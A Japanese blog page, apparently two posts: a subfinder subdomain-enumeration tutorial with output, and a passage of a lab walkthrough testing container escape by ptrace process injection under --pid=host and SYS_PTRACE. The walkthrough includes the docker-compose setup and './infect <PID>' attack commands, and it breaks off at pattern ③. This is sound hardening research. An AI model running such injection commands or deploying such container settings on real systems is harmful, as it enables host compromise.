 「subfinder」はサブドメインを列挙するツールであり、「ProjectDiscovery」が管理しています。

 リポジトリのスターは 約8,000 あり、サブドメイン列挙ツールの中でも有名なツールだと思います。

github.com

以下は README.md から引用した本ツールの概要です。

subfinder」は受動的なオンラインソースを使用して、ウェブサイトの有効なサブドメインを返すサブドメイン発見ツールです。
subfinder は、パッシブ・サブドメインの列挙というただ一つのことを行うために作られており、それは非常によくできています。
 私たちは、パッシブ・ソースで使用されているすべてのライセンスと使用制限に準拠するように作りました。
パッシブ・モデルは、スピードとステルス性を保証し、ペネトレーション・テスターとバグ・バウンティ・ハンターの両方に活用できます。

 subfinder は外部サービスに依存しているツールですが、APIキーの登録なく利用できます

 しかし、以下のサービスも参照する場合には事前にAPIキーを設定する必要があります。

BeVigil, BinaryEdge, BufferOver, C99, Censys
CertSpotter, Chaos, Chinaz, DnsDB, Fofa, FullHunt
GitHub, Intelx, PassiveTotal, quake, Robtex
SecurityTrails, Shodan, ThreatBook, VirusTotal, WhoisXML API
ZoomEye, ZoomEye API, dnsrepo, Hunter

サブドメイン列挙方法

 サブドメイン列挙の方法は「アクティブ・サブドメイン・列挙」と「パッシブ・サブドメイン・列挙」の2つに分けられます。

 subfinder は「パッシブ・サブドメイン・列挙」に分類されます。

アクティブ・サブドメイン・列挙

パッシブ・サブドメイン・列挙

準備

バージョン

 まずは本記事で利用する subfinder のバージョンを確認します。

 「-v」オプションでバージョンを確認できます。

  • subfinder v2.6.0
root@bf79c6792844:/usr/local/bin# ./subfinder -v

               __    _____           __
   _______  __/ /_  / __(_)___  ____/ /__  _____
  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
 (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io

[INF] Current subfinder version v2.6.0 (latest)
[FTL] Program exiting: no input list provided

オプションの確認

 「-h」オプションで指定することができるオプションを確認できます。

# ./subfinder -h

-----

Usage:
  ./subfinder [flags]

Flags:
INPUT:
  -d, -domain string[]  サブドメインを探す
  -dL, -list string     サブドメイン発見用のドメインリストを含むファイル

SOURCE:
  -s, -sources string[]           ディスカバリーに使用する特定のソースを指定する (-s crtsh,github)。
                                  利用可能なすべてのソースを表示するには -ls を使用します。
  -recursive                      サブドメインを再帰的に扱えるソースのみを使用する(例: subdomain.domain.tld vs domain.tld)
  -all                            すべてのソースを列挙に使用する(遅い)
  -es, -exclude-sources string[]  列挙から除外するソース (-es alienvault,zoomeye)

FILTER:
  -m, -match string[]   サブドメインまたはマッチするサブドメインのリスト(ファイルまたはカンマ区切り)
  -f, -filter string[]   サブドメインまたはフィルタリングするサブドメインのリスト (ファイルまたはカンマ区切り)

RATE-LIMIT:
  -rl, -rate-limit int  1秒間に送信するhttpリクエストの最大数
  -t int                解決するゴルーチンの同時実行数(-active only)(デフォルト 10)

UPDATE:
   -up, -update                 subfinder を最新バージョンに更新
   -duc, -disable-update-check  subfinder の自動更新チェックを無効にする

OUTPUT:
  -o, -output string       ファイルに出力を書き込む。
  -oJ, -json               出力をJSONL(ines)形式で書き出す。
  -oD, -output-dir string  出力を書き込むディレクトリ (-dL only)
  -cs, -collect-sources    出力にすべてのソースを含める (-json only)
  -oI, -ip                 出力にホストIPを含める (-active only)

CONFIGURATION:
  -config string                フラグ設定ファイル (デフォルト "$HOME/.config/subfinder/config.yaml")
  -pc, -provider-config string  プロバイダ設定ファイル (デフォルト "$HOME/.config/subfinder/provider-config.yaml")
  -r string[]                   使用するリゾルバのカンマ区切りリスト
  -rL, -rlist string            使用するリゾルバのリストを含むファイル
  -nW, -active                  アクティブなサブドメインのみを表示する
  -proxy string                 サブファインダーで使用するhttpプロキシ
  -ei, -exclude-ip              ドメインリストからIPを除外する

DEBUG:
  -silent             出力にサブドメインだけを表示する
  -version            サブファインダーのバージョンを表示
  -v                  より細かく出力を表示する
  -nc, -no-color      出力の色を無効にする
  -ls, -list-sources  利用可能なすべての情報源をリストアップする

OPTIMIZATION:
  -timeout int   タイムアウトまでの待ち時間(デフォルト30秒)
  -max-time int  列挙結果を待つ分数(デフォルト10)

検証

 実際に subfinder を動かしてみます。私が重要と思ったオプションのみを紹介しています。

検索対象のドメインの指定方法

1つのドメインを指定

 「-d」オプションの前に検査対象のドメインを指定します。

# ./subfinder -d motikan2010.com
[INF] Detected old /root/.config/subfinder/config.yaml config file, trying to migrate providers to /root/.config/subfinder/provider-config.yaml
[INF] Migration successful from /root/.config/subfinder/config.yaml to /root/.config/subfinder/provider-config.yaml.

               __    _____           __
   _______  __/ /_  / __(_)___  ____/ /__  _____
  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
 (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io

[INF] Current subfinder version v2.6.0 (latest)
[INF] Loading provider config from /root/.config/subfinder/provider-config.yaml
[INF] Enumerating subdomains for motikan2010.com
www.motikan2010.com ⬅︎ ⭐️ ここから発見されたサブドメイン
namatube.motikan2010.com
hacker-trends.motikan2010.com
sample.motikan2010.com
blog.motikan2010.com
mymacmate.motikan2010.com
once-tech.motikan2010.com
dev.motikan2010.com
pre.motikan2010.com
stg2.motikan2010.com
stg.motikan2010.com
motikan2010.com
md-to-pdf.motikan2010.com
chosensya-maker.motikan2010.com
[INF] Found 14 subdomains for motikan2010.com in 19 seconds 391 milliseconds

 14つのサブドメインを収集することができました。

収集されたサブドメインの考察

 「www」「blog」といったものは辞書にも登録されている文字列だと考えられるためアクティブサブドメイン列挙でも収集できたと思われる。

motikan2010.com
www.motikan2010.com
blog.motikan2010.com


 辞書に登録されていないであろうサブドメインが収集されている。
アクティブサブドメイン列挙では収集でないと考えられるため、このような推測が難しいサブドメインを収集できるのはパッシブサブドメイン列挙の利点

namatube.motikan2010.com
hacker-trends.motikan2010.com
mymacmate.motikan2010.com
once-tech.motikan2010.com
md-to-pdf.motikan2010.com
chosensya-maker.motikan2010.com


 DNSに登録していないドメインが収集されていました。目的によっては誤検出にもなりえる。
(後述するが5年ほど前に検証のために一時的に登録したドメインであった)

sample.motikan2010.com
dev.motikan2010.com
pre.motikan2010.com
stg2.motikan2010.com
stg.motikan2010.com

複数のドメインを指定

 ドメイン間にカンマを挟むことで複数のドメインを指定することができます。
以下の例では「motikan2010.com」と「motikan2010.net」のサブドメインが検索されます。

# ./subfinder -d motikan2010.com,motikan2010.net

               __    _____           __
   _______  __/ /_  / __(_)___  ____/ /__  _____
  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
 (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io

[INF] Current subfinder version v2.6.0 (latest)
[INF] Loading provider config from /root/.config/subfinder/provider-config.yaml
[INF] Enumerating subdomains for motikan2010.com
motikan2010.com ⬅︎ ⭐️ motikan.com のサブドメイン
www.motikan2010.com
stg.motikan2010.com
sample.motikan2010.com
blog.motikan2010.com
pre.motikan2010.com
mymacmate.motikan2010.com
hacker-trends.motikan2010.com
once-tech.motikan2010.com
chosensya-maker.motikan2010.com
dev.motikan2010.com
stg2.motikan2010.com
namatube.motikan2010.com
md-to-pdf.motikan2010.com
[INF] Found 14 subdomains for motikan2010.com in 2 seconds 287 milliseconds
[INF] Enumerating subdomains for motikan2010.net
poc-in-github.motikan2010.net ⬅︎ ⭐️ motikan.net のサブドメイン
www.motikan2010.net
[INF] Found 2 subdomains for motikan2010.net in 16 seconds 264 milliseconds

ファイルに列挙したドメインを指定

 「-dL <ファイル名>」オプションを付けるとファイルに記述されたドメインが検索されます。

----- ファイルの中身
# cat domains.txt
motikan2010.com
motikan2010.net

----- ファイルに記述された2ドメインが検索されます。
root@bf79c6792844:/usr/local/bin# ./subfinder -dL domains.txt

               __    _____           __
   _______  __/ /_  / __(_)___  ____/ /__  _____
  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
 (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io

[INF] Current subfinder version v2.6.0 (latest)
[INF] Loading provider config from /root/.config/subfinder/provider-config.yaml
[INF] Enumerating subdomains for motikan2010.com
stg.motikan2010.com
motikan2010.com
www.motikan2010.com
dev.motikan2010.com
namatube.motikan2010.com
blog.motikan2010.com
stg2.motikan2010.com
md-to-pdf.motikan2010.com
once-tech.motikan2010.com
pre.motikan2010.com
sample.motikan2010.com
mymacmate.motikan2010.com
chosensya-maker.motikan2010.com
hacker-trends.motikan2010.com
[INF] Found 14 subdomains for motikan2010.com in 2 seconds 282 milliseconds
[INF] Enumerating subdomains for motikan2010.net
www.motikan2010.net
poc-in-github.motikan2010.net
[INF] Found 2 subdomains for motikan2010.net in 16 seconds 397 milliseconds

ツールログを出力をより詳細に出力

 「-v」オプションを付けるとツールログがより詳細に出力されます。

# ./subfinder -d motikan2010.com -v

               __    _____           __
   _______  __/ /_  / __(_)___  ____/ /__  _____
  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
 (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io

[INF] Current subfinder version v2.6.0 (latest)
[INF] Loading provider config from /root/.config/subfinder/provider-config.yaml
[DBG] Selected source(s) for this search: anubis, fofa, riddler, censys, crtsh, fullhunt, whoisxmlapi, certspotter, chinaz, digitorus, quake, virustotal, bufferover, chaos, dnsrepo, hackertarget, bevigil, leakix, shodan, hunter, intelx, passivetotal, securitytrails, c99, dnsdumpster, alienvault, robtex
[INF] Enumerating subdomains for motikan2010.com
[DBG] Cannot use the whoisxmlapi source because there was no API key/secret defined for it.
[DBG] Cannot use the passivetotal source because there was no API key/secret defined for it.
[DBG] Cannot use the securitytrails source because there was no API key/secret defined for it.
[DBG] Cannot use the intelx source because there was no API key/secret defined for it.
[DBG] Cannot use the shodan source because there was no API key/secret defined for it.
[DBG] Cannot use the certspotter source because there was no API key/secret defined for it.
[DBG] Cannot use the quake source because there was no API key/secret defined for it.
[DBG] Cannot use the virustotal source because there was no API key/secret defined for it.
[DBG] Cannot use the bevigil source because there was no API key/secret defined for it.
[DBG] Cannot use the leakix source because there was no API key/secret defined for it.
[DBG] Cannot use the hunter source because there was no API key/secret defined for it.
[DBG] Cannot use the c99 source because there was no API key/secret defined for it.
[DBG] Cannot use the fofa source because there was no API key/secret defined for it.
[DBG] Cannot use the robtex source because there was no API key/secret defined for it.
[DBG] Cannot use the censys source because there was no API key/secret defined for it.
[DBG] Cannot use the fullhunt source because there was no API key/secret defined for it.
[DBG] Cannot use the dnsrepo source because there was no API key/secret defined for it.
[DBG] Cannot use the chaos source because there was no API key/secret defined for it.
[DBG] Cannot use the chinaz source because there was no API key/secret defined for it.
[DBG] Cannot use the bufferover source because there was no API key/secret defined for it.
[DBG] Response for failed request against https://jonlu.ca/anubis/subdomains/motikan2010.com:
[]
[WRN] Could not run source anubis: unexpected status code 300 received from https://jonlu.ca/anubis/subdomains/motikan2010.com
[digitorus] motikan2010.com
[alienvault] blog.motikan2010.com
[alienvault] www.motikan2010.com
[DBG] Response for failed request against https://riddler.io/search?q=pld:motikan2010.com&view_type=data_table:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>ERROR: The request could not be satisfied</TITLE>
</HEAD><BODY>
<H1>403 ERROR</H1>
<H2>The request could not be satisfied.</H2>
<HR noshade size="1px">
Request blocked.
We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.
<BR clear="all">
If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.
<BR clear="all">
<HR noshade size="1px">
<PRE>
Generated by cloudfront (CloudFront)
Request ID: 43OkGZsMblidN8c685tqsQfTqu5FTpj6M4DOIxOLhlQH2yuJrMqe3A==
</PRE>
<ADDRESS>
</ADDRESS>
</BODY></HTML>
[WRN] Could not run source riddler: unexpected status code 403 received from https://riddler.io/search?q=pld:motikan2010.com&view_type=data_table
[leakix] blog.motikan2010.com
[leakix] www.motikan2010.com
[hackertarget] namatube.motikan2010.com
[hackertarget] mymacmate.motikan2010.com
[hackertarget] md-to-pdf.motikan2010.com
[hackertarget] once-tech.motikan2010.com
[hackertarget] chosensya-maker.motikan2010.com
[hackertarget] hacker-trends.motikan2010.com
[dnsdumpster] namatube.motikan2010.com
[dnsdumpster] mymacmate.motikan2010.com
[dnsdumpster] md-to-pdf.motikan2010.com
[dnsdumpster] once-tech.motikan2010.com
[dnsdumpster] chosensya-maker.motikan2010.com
[dnsdumpster] hacker-trends.motikan2010.com
[crtsh] www.motikan2010.com
[crtsh] blog.motikan2010.com
[crtsh] motikan2010.com
[crtsh] dev.motikan2010.com
[crtsh] pre.motikan2010.com
[crtsh] stg2.motikan2010.com
[crtsh] stg.motikan2010.com
[crtsh] sample.motikan2010.com
dev.motikan2010.com
pre.motikan2010.com
stg.motikan2010.com
blog.motikan2010.com
namatube.motikan2010.com
md-to-pdf.motikan2010.com
sample.motikan2010.com
www.motikan2010.com
chosensya-maker.motikan2010.com
hacker-trends.motikan2010.com
stg2.motikan2010.com
motikan2010.com
mymacmate.motikan2010.com
once-tech.motikan2010.com
[INF] Found 14 subdomains for motikan2010.com in 7 seconds 674 milliseconds

名前解決できるドメインのみ表示

 「-active」オプションを付けることで名前解決できるサブドメインを出力することができます。

 名前解決の処理が追加されるため遅くなります。

# ./subfinder -d motikan2010.com -active

               __    _____           __
   _______  __/ /_  / __(_)___  ____/ /__  _____
  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/
 (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /
/____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/

                projectdiscovery.io

[INF] Current subfinder version v2.6.0 (latest)
[INF] Loading provider config from /root/.config/subfinder/provider-config.yaml
[INF] Enumerating subdomains for motikan2010.com
once-tech.motikan2010.com
chosensya-maker.motikan2010.com
hacker-trends.motikan2010.com
md-to-pdf.motikan2010.com
namatube.motikan2010.com
mymacmate.motikan2010.com
www.motikan2010.com
blog.motikan2010.com
[INF] Found 8 subdomains for motikan2010.com in 22 seconds 520 milliseconds

サブドメインのみを表示 (情報ログの出力無効)

 「-silent」オプションを付けることでログを出力せずにサブドメインのみを出力することができます。

# ./subfinder -d motikan2010.com -active -silent
namatube.motikan2010.com
hacker-trends.motikan2010.com
once-tech.motikan2010.com
www.motikan2010.com
blog.motikan2010.com
mymacmate.motikan2010.com
chosensya-maker.motikan2010.com
md-to-pdf.motikan2010.com

ファイルに出力

通常形式

 「-o <ファイル名>」オプションを付けることでサブドメインをファイルに出力することができます。

# ./subfinder -d motikan2010.com -o result.txt

               __    _____           __

(...省略...)

stg.motikan2010.com
[INF] Found 14 subdomains for motikan2010.com in 15 seconds 365 milliseconds

----- 出力内容
# cat result.txt
hacker-trends.motikan2010.com
dev.motikan2010.com
stg2.motikan2010.com
sample.motikan2010.com
mymacmate.motikan2010.com
www.motikan2010.com
md-to-pdf.motikan2010.com
chosensya-maker.motikan2010.com
pre.motikan2010.com
motikan2010.com
namatube.motikan2010.com
once-tech.motikan2010.com
stg.motikan2010.com
blog.motikan2010.com

JSON形式

 「-oJ」オプションを付けることでJSON形式でファイルに出力することができます。

厳密に言うとサブドメイン単位でJSON形式で出力されます。

# ./subfinder -d motikan2010.com -o result.json -oJ

               __    _____           __

(...省略...)

{"host":"motikan2010.com","input":"motikan2010.com","source":"digitorus"}
[INF] Found 14 subdomains for motikan2010.com in 2 seconds 248 milliseconds

----- 出力内容
# cat result.json
{"host":"mymacmate.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"motikan2010.com","input":"motikan2010.com","source":"digitorus"}
{"host":"dev.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"pre.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"stg.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"sample.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"namatube.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"blog.motikan2010.com","input":"motikan2010.com","source":"alienvault"}
{"host":"www.motikan2010.com","input":"motikan2010.com","source":"alienvault"}
{"host":"chosensya-maker.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"hacker-trends.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"stg2.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"md-to-pdf.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"once-tech.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}

IPと参照サービスも出力

 「-cs(出力にすべてのソースを含める)」や「-oI (出力にホストIPを含める)」オプションを付与することでサブドメイン以外にも「検索で利用してサービス名」や「名前解決後のIPアドレス」を出力することができます。

# ./subfinder -d motikan2010.com -o result.json -oJ -cs -oI -active

               __    _____           __

(...省略...)

[INF] Found 8 subdomains for motikan2010.com in 11 seconds 210 milliseconds

----- 出力内容
root@bf79c6792844:/usr/local/bin# cat result.json
{"host":"mymacmate.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"motikan2010.com","input":"motikan2010.com","source":"digitorus"}
{"host":"dev.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"pre.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"stg.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"sample.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"namatube.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"blog.motikan2010.com","input":"motikan2010.com","source":"alienvault"}
{"host":"www.motikan2010.com","input":"motikan2010.com","source":"alienvault"}
{"host":"chosensya-maker.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"hacker-trends.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"stg2.motikan2010.com","input":"motikan2010.com","source":"crtsh"}
{"host":"md-to-pdf.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"once-tech.motikan2010.com","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"namatube.motikan2010.com","ip":"172.67.175.231","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"hacker-trends.motikan2010.com","ip":"104.21.64.35","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"md-to-pdf.motikan2010.com","ip":"104.21.64.35","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"mymacmate.motikan2010.com","ip":"172.67.175.231","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"www.motikan2010.com","ip":"185.199.110.153","input":"motikan2010.com","source":"alienvault"}
{"host":"blog.motikan2010.com","ip":"54.199.90.60","input":"motikan2010.com","source":"alienvault"}
{"host":"chosensya-maker.motikan2010.com","ip":"104.21.64.35","input":"motikan2010.com","source":"dnsdumpster"}
{"host":"once-tech.motikan2010.com","ip":"104.21.64.35","input":"motikan2010.com","source":"dnsdumpster"}

なぜ名前解決できないサブドメインが表示されたのか

 最初に subfinder を実行した時に利用していないサブドメインが収集されました。

 これはどうしてでしょうか?

 このサブドメインは「crtsh」というサービスから収集されているようです。

# ./subfinder -d motikan2010.com -v

(...省略...)

[crtsh] www.motikan2010.com
[crtsh] blog.motikan2010.com
[crtsh] motikan2010.com
[crtsh] dev.motikan2010.com
[crtsh] pre.motikan2010.com
[crtsh] stg2.motikan2010.com
[crtsh] stg.motikan2010.com
[crtsh] sample.motikan2010.com

 crt.sh(https://crt.sh/)にアクセスして、検索対象のドメインを入力します。

 結果を見ると、このサービスは SSL/TLS 証明書 の内容が確認できるサービスのようです。

 2018年に SSL/TLS 証明書 の情報が subfinder に返却されているため、現在利用していないサブドメインが収集されるようになっていました。

https://crt.sh/?id=951780863

まとめ

 subfinder 以外のサブドメイン列挙ツールを試してみましたが一番良さそうなものが subfinder でしたので紹介してみました。

 名前解決するオプション(-active)は実行時にはほぼ必須といっても良いのではないでしょうか。

参考

コンテナからの脱獄(Container Breakout) プロセス・インジェクション 編

はじめに

 先日、やられアプリ「AWSGoat」を紹介しましたが、その中にプロセス・インジェクション攻撃を利用した「コンテナからの脱獄(Container Breakout)」の流れがありました。

「プロセス・インジェクション」のイメージ図

 コンテナ起動時のコマンド(docker run)にどのオプションを付与した場合にこの攻撃が成立するのかを確認する為、実際に脆弱なコンテナを動作させて確認しました。

blog.motikan2010.com

検証するオプション

 本記事では2つの「docker run」コマンドに付与するオプションの有無によっての動作の違いを確認していきます。

  • 「--pid」オプション
  • 「--cap-add」オプション

 この2つのオプションについて簡単に説明します。

「--pid」オプション

オプション 説明
--pid コンテナに対する PID(プロセス)名前空間モードを指定

指定例:

--pid='container:<名前 | コンテナ ID>'  : 他のコンテナの PID 名前空間に参加
      'host'  : コンテナ内でホスト環境の PID 名前空間を使用

 デフォルトでは全てのコンテナで「PID 名前空間(PID namespace)」は有効な状態です。

 「--pid=host」オプションを指定することで、ホスト環境のPID 名前空間が共有されます。

 ホスト環境のPID 名前空間が共有されることにより、コンテナ内からホスト環境のプロセスに対してアクセスが可能になります。

Docker run リファレンス — Docker-docs-ja 20.10 ドキュメント

「--cap-add」オプション

 コンテナ上のrootユーザに対して許可する権限(ケイパビリティ)を追加するオプションです。

オプション 説明
--cap-add Linux ケイパビリティの追加
--cap-add='<ケイパビリティキー>'  : コンテナに追加するケイパビリティ

 デフォルトではコンテナ上のrootユーザには一部のケイパビリティのみが付与されています。
そのためコンテナ上のrootユーザには多くの制限があります。

 以下にコンテナがデフォルトで保持しているケイパビリティと追加可能なケイパビリティが記載されています。
Docker run リファレンス — Docker-docs-ja 20.10 ドキュメント

 本検証では「CAP_SYS_PTRACE」ケイパビリティの有無によっての動作の違いを確認していきます。

 「--cap-add=SYS_PTRACE」オプションを指定することで、「CAP_SYS_PTRACE」ケイパビリティが追加された状態でコンテナが起動されます。

 「CAP_SYS_PTRACE」ケイパビリティを追加することにより、コンテナ内で「ptrace() システムコール」が利用可能になります。

 「ptrace() システムコール」を使うことで別プロセスの制御が可能になります。プロセスのメモリにシェルコードを書き込むことも可能です。

ptraceシステムコール入門 ― プロセスの出力を覗き見してみよう! - プログラムモグモグ

検証環境

 検証環境のOSとDockerバージョンは以下の通りです。

# uname -a
Linux ip-172-31-33-251.ap-northeast-1.compute.internal 6.1.27-43.48.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May  2 04:53:36 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

# docker --version
Docker version 20.10.23, build 7155243

 本記事で利用したコンテナイメージや攻撃PoCは以下のリポジトリにあります。

github.com

検証内容

 2オプションの有効時・無効時の挙動を確認するため、4パターンを試しています。

設定パターン --pid=host --cap-add=SYS_PTRACE
パターン① - -
パターン② 有効 -
パターン③ - 有効
パターン④ 有効 有効

準備

 脱獄対象のコンテナを起動する前に、プロセス・インジェクション攻撃の対象となるプロセスを起動します。

 Pythonでポート10080番で待ち受けるHTTPサーバを起動します。このPID 「74067」のプロセスが攻撃対象を攻撃対象です。

【ホスト環境】
# python3 -m http.server 10080 &

-- プロセスの確認
# ps au
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        2130  0.0  0.0 221344  1084 tty1     Ss+  11:28   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        2131  0.0  0.0 221388  1084 ttyS0    Ss+  11:28   0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,57600,38400,9600 - vt220
ec2-user   72976  0.0  0.2 233060  5004 pts/1    Ss   14:29   0:00 -bash
root       72999  0.0  0.4 260292  8276 pts/1    S    14:29   0:00 sudo su -
root       73001  0.0  0.2 245536  4712 pts/1    S    14:29   0:00 su -
root       73002  0.0  0.2 233188  5100 pts/1    S    14:29   0:00 -bash
👇 このプロセスに対してプロセス・インジェクションを実施
root       74067  0.0  0.9 241204 18056 pts/1    S    14:31   0:00 /root/.pyenv/versions/3.9.16/bin/python3 -m http.server 10080
root       78647  0.0  0.1 232520  2776 pts/1    R+   14:46   0:00 ps au

 攻撃コードはこちらです。
Container-Breakout-Learning/infect.c at main · motikan2010/Container-Breakout-Learning · GitHub (参考コード: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

 このコードをビルド(gcc infect.c -o infect)した後、「./infect 74067」のようにPIDを引数に渡して実行することでプロセス・インジェクション攻撃を行うことができます。

検証開始

 検証に用いているDocker環境は Docker Compose で制御しており、「docker-compose.yml」ファイルでオプション(「--pid=host」と「-cap-add=SYS_PTRACE」)の設定を行っています。
(無効化するオプションはコメントアウトしてください。)

version: "3.8"

services:
  app:
    build:
      context: .
      dockerfile: ./Dockerfile
    volumes:
      - ./poc:/usr/poc/
    working_dir: /usr/poc/
    pid: "host"     # ⭐️ PID
    cap_add:        # ⭐️ Capabilities
      - SYS_PTRACE
    tty: true

 コンテナを起動後、コンテナ内でコマンド実行できるようにシェルを起動します。

【ホスト環境】
-- コンテナ起動
# make up

-- コンテナのbashを起動
# make app

 このシェル上で「ホスト環境のプロセスが確認可否」や「攻撃の成否」などを確認します。

パターン①(オプションなし)

 まずはどちらのオプションも指定されていない状態です。
 一般的にコンテナを起動する場合はこのパターンになると考えられます。

オプション
--pid=host なし
--cap-add=SYS_PTRACE なし

 プロセスを確認します。コンテナ内のプロセスのみが表示されています。

【コンテナ環境】
root@b1e9750ed68c:/usr/poc# ps a
    PID TTY      STAT   TIME COMMAND
      1 pts/0    Ss+    0:00 bash
      7 pts/1    Ss     0:00 bash
     13 pts/1    R+     0:00 ps a


 ケイパビリティを確認してみます。「SYS_PTRACE」は見当たりません。

【コンテナ環境】
root@b1e9750ed68c:/usr/poc# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

 ホスト環境のプロセスを確認することはできませんでしたが、PIDを指定してプロセス・インジェクション攻撃を実行してみます。  

【コンテナ環境】
root@b1e9750ed68c:/usr/poc# ./infect 74067
+ Tracing process 74067
ptrace(ATTACH):: No such process

 想定通り、攻撃は失敗しました。

 「ptrace(ATTACH):: No such process」というエラーメッセージからホスト環境のプロセスに対してアクセスが失敗していることが分かります。これはプロセス名前空間がホスト環境とコンテナ環境で隔離されているのが原因です。

パターン②(--pid=host)

 今度はホスト環境のプロセスにアクセスできる状態です。

オプション
--pid=host あり
--cap-add=SYS_PTRACE なし

 プロセスを確認します。

 パターン①と異なりコンテナ環境外のプロセスが表示され、ホスト環境のプロセスにアクセスできていることが確認できます。

【コンテナ環境】
root@f71f748ca3c7:/usr/poc# ps a
    PID TTY      STAT   TIME COMMAND
   2130 ?        Ss+    0:00 /sbin/agetty -o -p -- \u --noclear - linux
   2131 ?        Ss+    0:00 /sbin/agetty -o -p -- \u --keep-baud 115200,57600,38400,9600 - vt220
  72976 pts/1    Ss     0:00 -bash
  72999 pts/1    S      0:00 sudo su -
  73001 pts/1    S      0:00 su -
  73002 pts/1    S      0:00 -bash
  74067 pts/1    S      0:00 /root/.pyenv/versions/3.9.16/bin/python3 -m http.server 10080
  76982 pts/0    Ss+    0:00 bash
  77229 pts/1    S+     0:00 make app
  77230 pts/1    Sl+    0:00 docker-compose exec app bash
  77246 pts/1    Ss     0:00 bash
  77254 pts/1    R+     0:00 ps a


 ケイパビリティを確認してみます。「SYS_PTRACE」は見当たりません。

【コンテナ環境】
root@f71f748ca3c7:/usr/poc# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

 プロセス・インジェクション攻撃を実行してみます。

【コンテナ環境】
root@f71f748ca3c7:/usr/poc# ./infect 74067
+ Tracing process 74067
ptrace(ATTACH):: Operation not permitted

 エラーとなりましたが、パターン①の時とエラーメッセージが異なっています。

 「ptrace(ATTACH):: Operation not permitted」というエラーメッセージはコンテナ環境のケイパビリティが不足しており「ptrace() システムコール」の実行権限がないことを表しています。

Docker run reference | Docker Documentation

 このパターン②でホスト環境のプロセスにアクセスできた場合でも「ptrace() システムコール」が実行できないとプロセス・インジェクション攻撃は失敗するということが確認できました。

パターン③(--cap-add=SYS_PTRACE)

